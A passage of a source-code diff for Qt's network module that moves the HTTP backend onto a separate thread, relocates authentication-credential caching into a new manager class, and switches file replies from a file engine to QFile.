+void QNetworkAccessHttpBackend::resetUploadDataSlot(bool *r)
+{
+    *r = uploadByteDevice->reset();
+}
+
+// Coming from QNonContiguousByteDeviceThreadForwardImpl in HTTP thread
+void QNetworkAccessHttpBackend::sentUploadDataSlot(qint64 amount)
+{
+    uploadByteDevice->advanceReadPointer(amount);
+}
+
+// Coming from QNonContiguousByteDeviceThreadForwardImpl in HTTP thread
+void QNetworkAccessHttpBackend::wantUploadDataSlot(qint64 maxSize)
+{
+    // call readPointer
+    qint64 currentUploadDataLength = 0;
+    char *data = const_cast<char*>(uploadByteDevice->readPointer(maxSize, currentUploadDataLength));
+    // Let's make a copy of this data
+    QByteArray dataArray(data, currentUploadDataLength);
+
+    // Communicate back to HTTP thread
+    emit haveUploadData(dataArray, uploadByteDevice->atEnd(), uploadByteDevice->size());
 }
 
 /*
@@ -950,8 +956,10 @@ bool QNetworkAccessHttpBackend::sendCacheContents(const QNetworkCacheMetaData &m
 #if defined(QNETWORKACCESSHTTPBACKEND_DEBUG)
     qDebug() << "Successfully sent cache:" << url() << contents->size() << "bytes";
 #endif
-    if (httpReply)
-        disconnect(httpReply, SIGNAL(finished()), this, SLOT(replyFinished()));
+
+    // Set the following flag so we can ignore some signals from HTTP thread
+    // that would still come
+    loadingFromCache = true;
     return true;
 }
 
@@ -964,39 +972,29 @@ void QNetworkAccessHttpBackend::copyFinished(QIODevice *dev)
 #ifndef QT_NO_OPENSSL
 void QNetworkAccessHttpBackend::ignoreSslErrors()
 {
-    if (httpReply)
-        httpReply->ignoreSslErrors();
-    else
-        pendingIgnoreAllSslErrors = true;
+    pendingIgnoreAllSslErrors = true;
 }
 
 void QNetworkAccessHttpBackend::ignoreSslErrors(const QList<QSslError> &errors)
 {
-    if (httpReply) {
-        httpReply->ignoreSslErrors(errors);
-    } else {
-        // the pending list is set if QNetworkReply::ignoreSslErrors(const QList<QSslError> &errors)
-        // is called before QNetworkAccessManager::get() (or post(), etc.)
-        pendingIgnoreSslErrorsList = errors;
-    }
+    // the pending list is set if QNetworkReply::ignoreSslErrors(const QList<QSslError> &errors)
+    // is called before QNetworkAccessManager::get() (or post(), etc.)
+    pendingIgnoreSslErrorsList = errors;
 }
 
 void QNetworkAccessHttpBackend::fetchSslConfiguration(QSslConfiguration &config) const
 {
-    if (httpReply)
-        config = httpReply->sslConfiguration();
-    else if (pendingSslConfiguration)
+    if (pendingSslConfiguration)
         config = *pendingSslConfiguration;
+    else
+        config = request().sslConfiguration();
 }
 
 void QNetworkAccessHttpBackend::setSslConfiguration(const QSslConfiguration &newconfig)
 {
-    if (httpReply)
-        httpReply->setSslConfiguration(newconfig);
-    else if (pendingSslConfiguration)
-        *pendingSslConfiguration = newconfig;
-    else
-        pendingSslConfiguration = new QSslConfiguration(newconfig);
+    // Setting a SSL configuration on a reply is not supported. The user needs to set
+    // her/his QSslConfiguration on the QNetworkRequest.
+    Q_UNUSED(newconfig);
 }
 #endif
 
@@ -1101,7 +1099,7 @@ QNetworkCacheMetaData QNetworkAccessHttpBackend::fetchCacheMetaData(const QNetwo
     bool canDiskCache;
     // only cache GET replies by default, all other replies (POST, PUT, DELETE)
     //  are not cacheable by default (according to RFC 2616 section 9)
-    if (httpReply->request().operation() == QHttpNetworkRequest::Get) {
+    if (httpRequest.operation() == QHttpNetworkRequest::Get) {
 
         canDiskCache = true;
         // 14.32
@@ -1119,7 +1117,7 @@ QNetworkCacheMetaData QNetworkAccessHttpBackend::fetchCacheMetaData(const QNetwo
             canDiskCache = false;
 
     // responses to POST might be cacheable
-    } else if (httpReply->request().operation() == QHttpNetworkRequest::Post) {
+    } else if (httpRequest.operation() == QHttpNetworkRequest::Post) {
 
         canDiskCache = false;
         // some pages contain "expires:" and "cache-control: no-cache" field,
@@ -1133,12 +1131,11 @@ QNetworkCacheMetaData QNetworkAccessHttpBackend::fetchCacheMetaData(const QNetwo
     }
 
     metaData.setSaveToDisk(canDiskCache);
-    int statusCode = httpReply->statusCode();
     QNetworkCacheMetaData::AttributesMap attributes;
     if (statusCode != 304) {
         // update the status code
         attributes.insert(QNetworkRequest::HttpStatusCodeAttribute, statusCode);
-        attributes.insert(QNetworkRequest::HttpReasonPhraseAttribute, httpReply->reasonPhrase());
+        attributes.insert(QNetworkRequest::HttpReasonPhraseAttribute, reasonPhrase);
     } else {
         // this is a redirection, keep the attributes intact
         attributes = oldMetaData.attributes();
@@ -1154,7 +1151,8 @@ bool QNetworkAccessHttpBackend::canResume() const
         return false;
 
     // Can only resume if server/resource supports Range header.
-    if (httpReply->headerField("Accept-Ranges", "none") == "none")
+    QByteArray acceptRangesheaderName("Accept-Ranges");
+    if (!hasRawHeader(acceptRangesheaderName) || rawHeader(acceptRangesheaderName) == "none")
         return false;
 
     // We only support resuming for byte ranges.
@@ -1166,7 +1164,7 @@ bool QNetworkAccessHttpBackend::canResume() const
 
     // If we're using a download buffer then we don't support resuming/migration
     // right now. Too much trouble.
-    if (httpReply->userProvidedDownloadBuffer())
+    if (usingZerocopyDownloadBuffer)
         return false;
 
     return true;
@@ -1177,87 +1175,6 @@ void QNetworkAccessHttpBackend::setResumeOffset(quint64 offset)
     resumeOffset = offset;
 }
 
-bool QNetworkAccessHttpBackend::processRequestSynchronously()
-{
-    QHttpNetworkConnectionChannel *channel = &http->channels()[0];
-
-    // Disconnect all socket signals. They will only confuse us when using waitFor*
-    QObject::disconnect(channel->socket, 0, 0, 0);
-
-    qint64 timeout = 20*1000; // 20 sec
-    QElapsedTimer timeoutTimer;
-
-    bool waitResult = channel->socket->waitForConnected(timeout);
-    timeoutTimer.start();
-
-    if (!waitResult || channel->socket->state() != QAbstractSocket::ConnectedState) {
-        error(QNetworkReply::UnknownNetworkError, QLatin1String("could not connect"));
-        return false;
-    }
-    channel->_q_connected(); // this will send the request (via sendRequest())
-
-#ifndef QT_NO_OPENSSL
-    if (http->isSsl()) {
-        qint64 remainingTimeEncrypted = timeout - timeoutTimer.elapsed();
-        if (!static_cast<QSslSocket *>(channel->socket)->waitForEncrypted(remainingTimeEncrypted)) {
-            error(QNetworkReply::SslHandshakeFailedError,
-                  QLatin1String("could not encrypt or timeout while encrypting"));
-            return false;
-        }
-        channel->_q_encrypted();
-    }
-#endif
-
-    // if we get a 401 or 407, we might need to send the request twice, see below
-    bool authenticating = false;
-
-    do {
-        channel->sendRequest();
-
-        qint64 remainingTimeBytesWritten;
-        while(channel->socket->bytesToWrite() > 0 ||
-              channel->state == QHttpNetworkConnectionChannel::WritingState) {
-            remainingTimeBytesWritten = timeout - timeoutTimer.elapsed();
-            channel->sendRequest(); // triggers channel->socket->write()
-            if (!channel->socket->waitForBytesWritten(remainingTimeBytesWritten)) {
-                error(QNetworkReply::TimeoutError,
-                      QLatin1String("could not write bytes to socket or timeout while writing"));
-                return false;
-            }
-        }
-
-        qint64 remainingTimeBytesRead = timeout - timeoutTimer.elapsed();
-        // Loop for at most remainingTime until either the socket disconnects
-        // or the reply is finished
-        do {
-            waitResult = channel->socket->waitForReadyRead(remainingTimeBytesRead);
-            remainingTimeBytesRead = timeout - timeoutTimer.elapsed();
-            if (!waitResult || remainingTimeBytesRead <= 0
-                || channel->socket->state() != QAbstractSocket::ConnectedState) {
-                error(QNetworkReply::TimeoutError,
-                      QLatin1String("could not read from socket or timeout while reading"));
-                return false;
-            }
-
-            if (channel->socket->bytesAvailable())
-                channel->_q_readyRead();
-
-            if (!httpReply)
-                return false; // we got a 401 or 407 and cannot handle it (it might happen that
-                              // disconnectFromHttp() was called, in that case the reply is zero)
-            // ### I am quite sure this does not work for NTLM
-            // ### how about uploading to an auth / proxyAuth site?
-
-            authenticating = (httpReply->statusCode() == 401 || httpReply->statusCode() == 407);
-
-            if (httpReply->isFinished())
-                break;
-        } while (remainingTimeBytesRead > 0);
-    } while (authenticating);
-
-    return true;
-}
-
 QT_END_NAMESPACE
 
 #endif // QT_NO_HTTP
diff --git a/src/network/access/qnetworkaccesshttpbackend_p.h b/src/network/access/qnetworkaccesshttpbackend_p.h
index 7064d4a..712dd2f 100644
--- a/src/network/access/qnetworkaccesshttpbackend_p.h
+++ b/src/network/access/qnetworkaccesshttpbackend_p.h
@@ -61,6 +61,8 @@
 
 #include "QtCore/qpointer.h"
 #include "QtCore/qdatetime.h"
+#include "QtCore/qsharedpointer.h"
+#include "qatomic.h"
 
 #ifndef QT_NO_HTTP
 
@@ -99,24 +101,44 @@ public:
     bool canResume() const;
     void setResumeOffset(quint64 offset);
 
-    virtual bool processRequestSynchronously();
+signals:
+    // To HTTP thread:
+    void startHttpRequest();
+    void abortHttpRequest();
 
+    void startHttpRequestSynchronously();
+
+    void haveUploadData(QByteArray dataArray, bool dataAtEnd, qint64 dataSize);
 private slots:
-    void replyReadyRead();
+    // From HTTP thread:
+    void replyDownloadData(QByteArray);
     void replyFinished();
-    void replyHeaderChanged();
-    void replyDownloadProgressSlot(int,int);
+    void replyDownloadMetaData(QList<QPair<QByteArray,QByteArray> >,int,QString,bool,QSharedPointer<char>,qint64);
+    void replyDownloadProgressSlot(qint64,qint64);
     void httpAuthenticationRequired(const QHttpNetworkRequest &request, QAuthenticator *auth);
-    void httpCacheCredentials(const QHttpNetworkRequest &request, QAuthenticator *auth);
     void httpError(QNetworkReply::NetworkError error, const QString &errorString);
+#ifndef QT_NO_OPENSSL
+    void replySslErrors(const QList<QSslError> &, bool *, QList<QSslError> *);
+    void replySslConfigurationChanged(const QSslConfiguration&);
+#endif
+
+    // From QNonContiguousByteDeviceThreadForwardImpl in HTTP thread:
+    void resetUploadDataSlot(bool *r);
+    void wantUploadDataSlot(qint64);
+    void sentUploadDataSlot(qint64);
+
     bool sendCacheContents(const QNetworkCacheMetaData &metaData);
-    void finished(); // override
 
 private:
-    QHttpNetworkReply *httpReply;
-    QPointer<QHttpNetworkConnection> http;
-    QByteArray cacheKey;
-    QNetworkAccessBackendUploadIODevice *uploadDevice;
+    QHttpNetworkRequest httpRequest; // There is also a copy in the HTTP thread
+    int statusCode;
+    QString reasonPhrase;
+    // Will be increased by HTTP thread:
+    QSharedPointer<QAtomicInt> pendingDownloadDataEmissions;
+    QSharedPointer<QAtomicInt> pendingDownloadProgressEmissions;
+    bool loadingFromCache;
+    QByteDataBuffer pendingDownloadData;
+    bool usingZerocopyDownloadBuffer;
 
 #ifndef QT_NO_OPENSSL
     QSslConfiguration *pendingSslConfiguration;
@@ -126,7 +148,6 @@ private:
 
     quint64 resumeOffset;
 
-    void disconnectFromHttp();
     void validateCache(QHttpNetworkRequest &httpRequest, bool &loadedFromCache);
     void invalidateCache();
     void postRequest();
diff --git a/src/network/access/qnetworkaccessmanager.cpp b/src/network/access/qnetworkaccessmanager.cpp
index 8f050d4..7e75045 100644
--- a/src/network/access/qnetworkaccessmanager.cpp
+++ b/src/network/access/qnetworkaccessmanager.cpp
@@ -65,6 +65,8 @@
 #include "QtNetwork/qsslconfiguration.h"
 #include "QtNetwork/qnetworkconfigmanager.h"
 
+#include "qthread.h"
+
 QT_BEGIN_NAMESPACE
 
 #ifndef QT_NO_HTTP
@@ -341,107 +343,6 @@ static void ensureInitialized()
     QNetworkReply::sslConfiguration(), QNetworkReply::ignoreSslErrors()
 */
 
-class QNetworkAuthenticationCredential
-{
-public:
-    QString domain;
-    QString user;
-    QString password;
-};
-Q_DECLARE_TYPEINFO(QNetworkAuthenticationCredential, Q_MOVABLE_TYPE);
-inline bool operator<(const QNetworkAuthenticationCredential &t1, const QString &t2)
-{ return t1.domain < t2; }
-
-class QNetworkAuthenticationCache: private QVector<QNetworkAuthenticationCredential>,
-                                   public QNetworkAccessCache::CacheableObject
-{
-public:
-    QNetworkAuthenticationCache()
-    {
-        setExpires(false);
-        setShareable(true);
-        reserve(1);
-    }
-
-    QNetworkAuthenticationCredential *findClosestMatch(const QString &domain)
-    {
-        iterator it = qLowerBound(begin(), end(), domain);
-        if (it == end() && !isEmpty())
-            --it;
-        if (it == end() || !domain.startsWith(it->domain))
-            return 0;
-        return &*it;
-    }
-
-    void insert(const QString &domain, const QString &user, const QString &password)
-    {
-        QNetworkAuthenticationCredential *closestMatch = findClosestMatch(domain);
-        if (closestMatch && closestMatch->domain == domain) {
-            // we're overriding the current credentials
-            closestMatch->user = user;
-            closestMatch->password = password;
-        } else {
-            QNetworkAuthenticationCredential newCredential;
-            newCredential.domain = domain;
-            newCredential.user = user;
-            newCredential.password = password;
-
-            if (closestMatch)
-                QVector<QNetworkAuthenticationCredential>::insert(++closestMatch, newCredential);
-            else
-                QVector<QNetworkAuthenticationCredential>::insert(end(), newCredential);
-        }
-    }
-
-    virtual void dispose() { delete this; }
-};
-
-#ifndef QT_NO_NETWORKPROXY
-static QByteArray proxyAuthenticationKey(const QNetworkProxy &proxy, const QString &realm)
-{
-    QUrl key;
-
-    switch (proxy.type()) {
-    case QNetworkProxy::Socks5Proxy:
-        key.setScheme(QLatin1String("proxy-socks5"));
-        break;
-
-    case QNetworkProxy::HttpProxy:
-    case QNetworkProxy::HttpCachingProxy:
-        key.setScheme(QLatin1String("proxy-http"));
-        break;
-
-    case QNetworkProxy::FtpCachingProxy:
-        key.setScheme(QLatin1String("proxy-ftp"));
-        break;
-
-    case QNetworkProxy::DefaultProxy:
-    case QNetworkProxy::NoProxy:
-        // shouldn't happen
-        return QByteArray();
-
-        // no default:
-        // let there be errors if a new proxy type is added in the future
-    }
-
-    if (key.scheme().isEmpty())
-        // proxy type not handled
-        return QByteArray();
-
-    key.setUserName(proxy.user());
-    key.setHost(proxy.hostName());
-    key.setPort(proxy.port());
-    key.setFragment(realm);
-    return "auth:" + key.toEncoded();
-}
-#endif
-
-static inline QByteArray authenticationKey(const QUrl &url, const QString &realm)
-{
-    QUrl copy = url;
-    copy.setFragment(realm);
-    return "auth:" + copy.toEncoded(QUrl::RemovePassword | QUrl::RemovePath | QUrl::RemoveQuery);
-}
 
 /*!
     Constructs a QNetworkAccessManager object that is the center of
@@ -1124,10 +1025,10 @@ void QNetworkAccessManagerPrivate::authenticationRequired(QNetworkAccessBackend
     // also called when last URL is empty, e.g. on first call
     if (backend->reply->urlForLastAuthentication.isEmpty()
             || url != backend->reply->urlForLastAuthentication) {
-        QNetworkAuthenticationCredential *cred = fetchCachedCredentials(url, authenticator);
-        if (cred) {
-            authenticator->setUser(cred->user);
-            authenticator->setPassword(cred->password);
+        QNetworkAuthenticationCredential cred = authenticationManager->fetchCachedCredentials(url, authenticator);
+        if (!cred.isNull()) {
+            authenticator->setUser(cred.user);
+            authenticator->setPassword(cred.password);
             backend->reply->urlForLastAuthentication = url;
             return;
         }
@@ -1140,7 +1041,7 @@ void QNetworkAccessManagerPrivate::authenticationRequired(QNetworkAccessBackend
 
     backend->reply->urlForLastAuthentication = url;
     emit q->authenticationRequired(backend->reply->q_func(), authenticator);
-    cacheCredentials(url, authenticator);
+    authenticationManager->cacheCredentials(url, authenticator);
 }
 
 #ifndef QT_NO_NETWORKPROXY
@@ -1157,10 +1058,10 @@ void QNetworkAccessManagerPrivate::proxyAuthenticationRequired(QNetworkAccessBac
     // possible solution: some tracking inside the authenticator
     //      or a new function proxyAuthenticationSucceeded(true|false)
     if (proxy != backend->reply->lastProxyAuthentication) {
-        QNetworkAuthenticationCredential *cred = fetchCachedProxyCredentials(proxy);
-        if (cred) {
-            authenticator->setUser(cred->user);
-            authenticator->setPassword(cred->password);
+        QNetworkAuthenticationCredential cred = authenticationManager->fetchCachedProxyCredentials(proxy);
+        if (!cred.isNull()) {
+            authenticator->setUser(cred.user);
+            authenticator->setPassword(cred.password);
             return;
         }
     }
@@ -1172,75 +1073,7 @@ void QNetworkAccessManagerPrivate::proxyAuthenticationRequired(QNetworkAccessBac
 
     backend->reply->lastProxyAuthentication = proxy;
     emit q->proxyAuthenticationRequired(proxy, authenticator);
-    cacheProxyCredentials(proxy, authenticator);
-}
-
-void QNetworkAccessManagerPrivate::cacheProxyCredentials(const QNetworkProxy &p,
-                                                  const QAuthenticator *authenticator)
-{
-    Q_ASSERT(authenticator);
-    Q_ASSERT(p.type() != QNetworkProxy::DefaultProxy);
-    Q_ASSERT(p.type() != QNetworkProxy::NoProxy);
-
-    QString realm = authenticator->realm();
-    QNetworkProxy proxy = p;
-    proxy.setUser(authenticator->user());
-    // Set two credentials: one with the username and one without
-    do {
-        // Set two credentials actually: one with and one without the realm
-        do {
-            QByteArray cacheKey = proxyAuthenticationKey(proxy, realm);
-            if (cacheKey.isEmpty())
-                return;             // should not happen
-
-            QNetworkAuthenticationCache *auth = new QNetworkAuthenticationCache;
-            auth->insert(QString(), authenticator->user(), authenticator->password());
-            objectCache.addEntry(cacheKey, auth); // replace the existing one, if there's any
-
-            if (realm.isEmpty()) {
-                break;
-            } else {
-                realm.clear();
-            }
-        } while (true);
-
-        if (proxy.user().isEmpty())
-            break;
-        else
-            proxy.setUser(QString());
-    } while (true);
-}
-
-QNetworkAuthenticationCredential *
-QNetworkAccessManagerPrivate::fetchCachedProxyCredentials(const QNetworkProxy &p,
-                                                     const QAuthenticator *authenticator)
-{
-    QNetworkProxy proxy = p;
-    if (proxy.type() == QNetworkProxy::DefaultProxy) {
-        proxy = QNetworkProxy::applicationProxy();
-    }
-    if (!proxy.password().isEmpty())
-        return 0;               // no need to set credentials if it already has them
-
-    QString realm;
-    if (authenticator)
-        realm = authenticator->realm();
-
-    QByteArray cacheKey = proxyAuthenticationKey(proxy, realm);
-    if (cacheKey.isEmpty())
-        return 0;
-    if (!objectCache.hasEntry(cacheKey))
-        return 0;
-
-    QNetworkAuthenticationCache *auth =
-        static_cast<QNetworkAuthenticationCache *>(objectCache.requestEntryNow(cacheKey));
-    QNetworkAuthenticationCredential *cred = auth->findClosestMatch(QString());
-    objectCache.releaseEntry(cacheKey);
-
-    // proxy cache credentials always have exactly one item
-    Q_ASSERT_X(cred, "QNetworkAccessManager",
-               "Internal inconsistency: found a cache key for a proxy, but it's empty");
-    return cred;
+    authenticationManager->cacheProxyCredentials(proxy, authenticator);
 }
 
 QList<QNetworkProxy> QNetworkAccessManagerPrivate::queryProxy(const QNetworkProxyQuery &query)
@@ -1264,77 +1097,25 @@ QList<QNetworkProxy> QNetworkAccessManagerPrivate::queryProxy(const QNetworkProx
 }
 #endif
 
-void QNetworkAccessManagerPrivate::cacheCredentials(const QUrl &url,
-                                                  const QAuthenticator *authenticator)
-{
-    Q_ASSERT(authenticator);
-    QString domain = QString::fromLatin1("/"); // FIXME: make QAuthenticator return the domain
-    QString realm = authenticator->realm();
-
-    // Set two credentials actually: one with and one without the username in the URL
-    QUrl copy = url;
-    copy.setUserName(authenticator->user());
-    do {
-        QByteArray cacheKey = authenticationKey(copy, realm);
-        if (objectCache.hasEntry(cacheKey)) {
-            QNetworkAuthenticationCache *auth =
-                static_cast<QNetworkAuthenticationCache *>(objectCache.requestEntryNow(cacheKey));
-            auth->insert(domain, authenticator->user(), authenticator->password());
-            objectCache.releaseEntry(cacheKey);
-        } else {
-            QNetworkAuthenticationCache *auth = new QNetworkAuthenticationCache;
-            auth->insert(domain, authenticator->user(), authenticator->password());
-            objectCache.addEntry(cacheKey, auth);
-        }
-
-        if (copy.userName().isEmpty()) {
-            break;
-        } else {
-            copy.setUserName(QString());
-        }
-    } while (true);
-}
-
-/*!
-    Fetch the credential data from the credential cache.
-
-    If auth is 0 (as it is when called from createRequest()), this will try to
-    look up with an empty realm. That fails in most cases for HTTP (because the
-    realm is seldom empty for HTTP challenges). In any case, QHttpNetworkConnection
-    never sends the credentials on the first attempt: it needs to find out what
-    authentication methods the server supports.
-
-    For FTP, realm is always empty.
-*/
-QNetworkAuthenticationCredential *
-QNetworkAccessManagerPrivate::fetchCachedCredentials(const QUrl &url,
-                                                     const QAuthenticator *authentication)
-{
-    if (!url.password().isEmpty())
-        return 0;               // no need to set credentials if it already has them
-
-    QString realm;
-    if (authentication)
-        realm = authentication->realm();
-
-    QByteArray cacheKey = authenticationKey(url, realm);
-    if (!objectCache.hasEntry(cacheKey))
-        return 0;
-
-    QNetworkAuthenticationCache *auth =
-        static_cast<QNetworkAuthenticationCache *>(objectCache.requestEntryNow(cacheKey));
-    QNetworkAuthenticationCredential *cred = auth->findClosestMatch(url.path());
-    objectCache.releaseEntry(cacheKey);
-    return cred;
-}
-
 void QNetworkAccessManagerPrivate::clearCache(QNetworkAccessManager *manager)
 {
     manager->d_func()->objectCache.clear();
+    manager->d_func()->authenticationManager->clearCache();
+
+    if (manager->d_func()->httpThread) {
+        // The thread will deleteLater() itself from its finished() signal
+        manager->d_func()->httpThread->quit();
+        manager->d_func()->httpThread = 0;
+    }
 }
 
 QNetworkAccessManagerPrivate::~QNetworkAccessManagerPrivate()
 {
+    if (httpThread) {
+        // The thread will deleteLater() itself from its finished() signal
+        httpThread->quit();
+        httpThread = 0;
+    }
 }
 
 #ifndef QT_NO_BEARERMANAGEMENT
@@ -1358,10 +1139,11 @@ void QNetworkAccessManagerPrivate::createSession(const QNetworkConfiguration &co
 
     networkSession = QSharedNetworkSessionManager::getSession(config);
 
-    QObject::connect(networkSession.data(), SIGNAL(opened()), q, SIGNAL(networkSessionConnected()));
-    QObject::connect(networkSession.data(), SIGNAL(closed()), q, SLOT(_q_networkSessionClosed()));
+    QObject::connect(networkSession.data(), SIGNAL(opened()), q, SIGNAL(networkSessionConnected()), Qt::QueuedConnection);
+    //QueuedConnection is used to avoid deleting the networkSession inside its closed signal
+    QObject::connect(networkSession.data(), SIGNAL(closed()), q, SLOT(_q_networkSessionClosed()), Qt::QueuedConnection);
     QObject::connect(networkSession.data(), SIGNAL(stateChanged(QNetworkSession::State)),
-                     q, SLOT(_q_networkSessionStateChanged(QNetworkSession::State)));
+                     q, SLOT(_q_networkSessionStateChanged(QNetworkSession::State)), Qt::QueuedConnection);
 
     _q_networkSessionStateChanged(networkSession->state());
 }
diff --git a/src/network/access/qnetworkaccessmanager.h b/src/network/access/qnetworkaccessmanager.h
index 7ef009f..d67b8ac 100644
--- a/src/network/access/qnetworkaccessmanager.h
+++ b/src/network/access/qnetworkaccessmanager.h
@@ -156,6 +156,8 @@ protected:
 
 private:
     friend class QNetworkReplyImplPrivate;
+    friend class QNetworkAccessHttpBackend;
+
     Q_DECLARE_PRIVATE(QNetworkAccessManager)
     Q_PRIVATE_SLOT(d_func(), void _q_replyFinished())
     Q_PRIVATE_SLOT(d_func(), void _q_replySslErrors(QList<QSslError>))
diff --git a/src/network/access/qnetworkaccessmanager_p.h b/src/network/access/qnetworkaccessmanager_p.h
index cf4d2f3..ee6ad70 100644
--- a/src/network/access/qnetworkaccessmanager_p.h
+++ b/src/network/access/qnetworkaccessmanager_p.h
@@ -59,6 +59,7 @@
 #include "private/qobject_p.h"
 #include "QtNetwork/qnetworkproxy.h"
 #include "QtNetwork/qnetworksession.h"
+#include "qnetworkaccessauthenticationmanager_p.h"
 
 QT_BEGIN_NAMESPACE
 
@@ -72,6 +73,7 @@ class QNetworkAccessManagerPrivate: public QObjectPrivate
 public:
     QNetworkAccessManagerPrivate()
         : networkCache(0), cookieJar(0),
+          httpThread(0),
 #ifndef QT_NO_NETWORKPROXY
           proxyFactory(0),
 #endif
@@ -81,7 +83,8 @@ public:
           online(false),
           initializeSession(true),
 #endif
-          cookieJarCreated(false)
+          cookieJarCreated(false),
+          authenticationManager(new QNetworkAccessAuthenticationManager)
     { }
     ~QNetworkAccessManagerPrivate();
 
@@ -121,6 +124,8 @@ public:
 
     QNetworkCookieJar *cookieJar;
 
+    QThread *httpThread;
+
 
 #ifndef QT_NO_NETWORKPROXY
     QNetworkProxy proxy;
@@ -137,6 +142,9 @@ public:
 
     bool cookieJarCreated;
 
+    // The cache with authorization data:
+    QSharedPointer<QNetworkAccessAuthenticationManager> authenticationManager;
+
     // this cache can be used by individual backends to cache e.g. their TCP connections to a server
     // and use the connections for multiple requests.
     QNetworkAccessCache objectCache;
diff --git a/src/network/access/qnetworkreplyfileimpl.cpp b/src/network/access/qnetworkreplyfileimpl.cpp
index 686eb5f..babee32 100644
--- a/src/network/access/qnetworkreplyfileimpl.cpp
+++ b/src/network/access/qnetworkreplyfileimpl.cpp
@@ -49,15 +49,10 @@
 QT_BEGIN_NAMESPACE
 
 QNetworkReplyFileImplPrivate::QNetworkReplyFileImplPrivate()
-    : QNetworkReplyPrivate(), fileEngine(0), fileSize(0), filePos(0)
+    : QNetworkReplyPrivate(), realFileSize(0)
 {
 }
 
-QNetworkReplyFileImplPrivate::~QNetworkReplyFileImplPrivate()
-{
-    delete fileEngine;
-}
-
 QNetworkReplyFileImpl::~QNetworkReplyFileImpl()
 {
 }
@@ -112,15 +107,15 @@ QNetworkReplyFileImpl::QNetworkReplyFileImpl(QObject *parent, const QNetworkRequ
         return;
     }
 
-    d->fileEngine = QAbstractFileEngine::create(fileName);
-    bool opened = d->fileEngine->open(QIODevice::ReadOnly | QIODevice::Unbuffered);
+    d->realFile.setFileName(fileName);
+    bool opened = d->realFile.open(QIODevice::ReadOnly | QIODevice::Unbuffered);
 
     // could we open the file?
     if (!opened) {
         QString msg = QCoreApplication::translate("QNetworkAccessFileBackend", "Error opening %1: %2")
-                      .arg(fileName, d->fileEngine->errorString());
+                .arg(d->realFile.fileName(), d->realFile.errorString());
 
-        if (fi.exists()) {
+        if (d->realFile.exists()) {
             setError(QNetworkReply::ContentAccessDenied, msg);
             QMetaObject::invokeMethod(this, "error", Qt::QueuedConnection,
                 Q_ARG(QNetworkReply::NetworkError, QNetworkReply::ContentAccessDenied));
@@ -133,13 +128,13 @@ QNetworkReplyFileImpl::QNetworkReplyFileImpl(QObject *parent, const QNetworkRequ
         return;
     }
 
-    d->fileSize = fi.size();
     setHeader(QNetworkRequest::LastModifiedHeader, fi.lastModified());
-    setHeader(QNetworkRequest::ContentLengthHeader, d->fileSize);
+    d->realFileSize = fi.size();
+    setHeader(QNetworkRequest::ContentLengthHeader, d->realFileSize);
 
     QMetaObject::invokeMethod(this, "metaDataChanged", Qt::QueuedConnection);
     QMetaObject::invokeMethod(this, "downloadProgress", Qt::QueuedConnection,
-        Q_ARG(qint64, d->fileSize), Q_ARG(qint64, d->fileSize));
+        Q_ARG(qint64, d->realFileSize), Q_ARG(qint64, d->realFileSize));
     QMetaObject::invokeMethod(this, "readyRead", Qt::QueuedConnection);
     QMetaObject::invokeMethod(this, "finished", Qt::QueuedConnection);
 }
@@ -147,25 +142,20 @@ void QNetworkReplyFileImpl::close()
 {
     Q_D(QNetworkReplyFileImpl);
     QNetworkReply::close();
-    if (d->fileEngine)
-        d->fileEngine->close();
+    d->realFile.close();
 }
 
 void QNetworkReplyFileImpl::abort()
 {
     Q_D(QNetworkReplyFileImpl);
     QNetworkReply::close();
-    if (d->fileEngine)
-        d->fileEngine->close();
+    d->realFile.close();
 }
 
 qint64 QNetworkReplyFileImpl::bytesAvailable() const
 {
     Q_D(const QNetworkReplyFileImpl);
-    if (!d->fileEngine)
-        return 0;
-
-    return QNetworkReply::bytesAvailable() + d->fileSize - d->filePos;
+    return QNetworkReply::bytesAvailable() + d->realFile.bytesAvailable();
 }
 
 bool QNetworkReplyFileImpl::isSequential () const
@@ -176,7 +166,7 @@ bool QNetworkReplyFileImpl::isSequential () const
 qint64 QNetworkReplyFileImpl::size() const
 {
     Q_D(const QNetworkReplyFileImpl);
-    return d->fileSize;
+    return d->realFileSize;
 }
 
 /*!
@@ -185,17 +175,11 @@ qint64 QNetworkReplyFileImpl::size() const
 qint64 QNetworkReplyFileImpl::readData(char *data, qint64 maxlen)
 {
     Q_D(QNetworkReplyFileImpl);
-    if (!d->fileEngine)
+    qint64 ret = d->realFile.read(data, maxlen);
+    if (ret == 0 && bytesAvailable() == 0)
         return -1;
-
-    qint64 ret = d->fileEngine->read(data, maxlen);
-    if (ret == 0 && bytesAvailable() == 0) {
-        return -1; // everything had been read
-    } else if (ret > 0) {
-        d->filePos += ret;
-    }
-
-    return ret;
+    else
+        return ret;
 }
 
 
diff --git a/src/network/access/qnetworkreplyfileimpl_p.h b/src/network/access/qnetworkreplyfileimpl_p.h
index 627363f..393e3cd 100644
--- a/src/network/access/qnetworkreplyfileimpl_p.h
+++ b/src/network/access/qnetworkreplyfileimpl_p.h
@@ -86,11 +86,9 @@ class QNetworkReplyFileImplPrivate: public QNetworkReplyPrivate
 {
 public:
     QNetworkReplyFileImplPrivate();
-    ~QNetworkReplyFileImplPrivate();
 
-    QAbstractFileEngine *fileEngine;
-    qint64 fileSize;
-    qint64 filePos;
+    QFile realFile;
+    qint64 realFileSize;
 
     Q_DECLARE_PUBLIC(QNetworkReplyFileImpl)
 };
diff --git a/src/network/access/qnetworkreplyimpl.cpp b/src/network/access/qnetworkreplyimpl.cpp
index 9069b14..485f449 100644
--- a/src/network/access/qnetworkreplyimpl.cpp
+++ b/src/network/access/qnetworkreplyimpl.cpp
@@ -57,7 +57,7 @@ Q_DECLARE_METATYPE(QSharedPointer<char>)
 QT_BEGIN_NAMESPACE
 
 inline QNetworkReplyImplPrivate::QNetworkReplyImplPrivate()
-    : backend(0), outgoingData(0), outgoingDataBuffer(0),
+    : backend(0), outgoingData(0),
       copyDevice(0),
       cacheEnabled(false), cacheSaveDevice(0),
       notificationHandlingPaused(false),
@@ -115,7 +115,7 @@ void QNetworkReplyImplPrivate::_q_startOperation()
     }
 #endif
 
-    if (backend->isSynchronous()) {
+    if (backend && backend->isSynchronous()) {
         state = Finished;
         q_func()->setFinished(true);
     } else {
@@ -212,7 +212,7 @@ void QNetworkReplyImplPrivate::_q_bufferOutgoingData()
 
     if (!outgoingDataBuffer) {
         // first call, create our buffer
-        outgoingDataBuffer = new QRingBuffer();
+        outgoingDataBuffer = QSharedPointer<QRingBuffer>(new QRingBuffer());
 
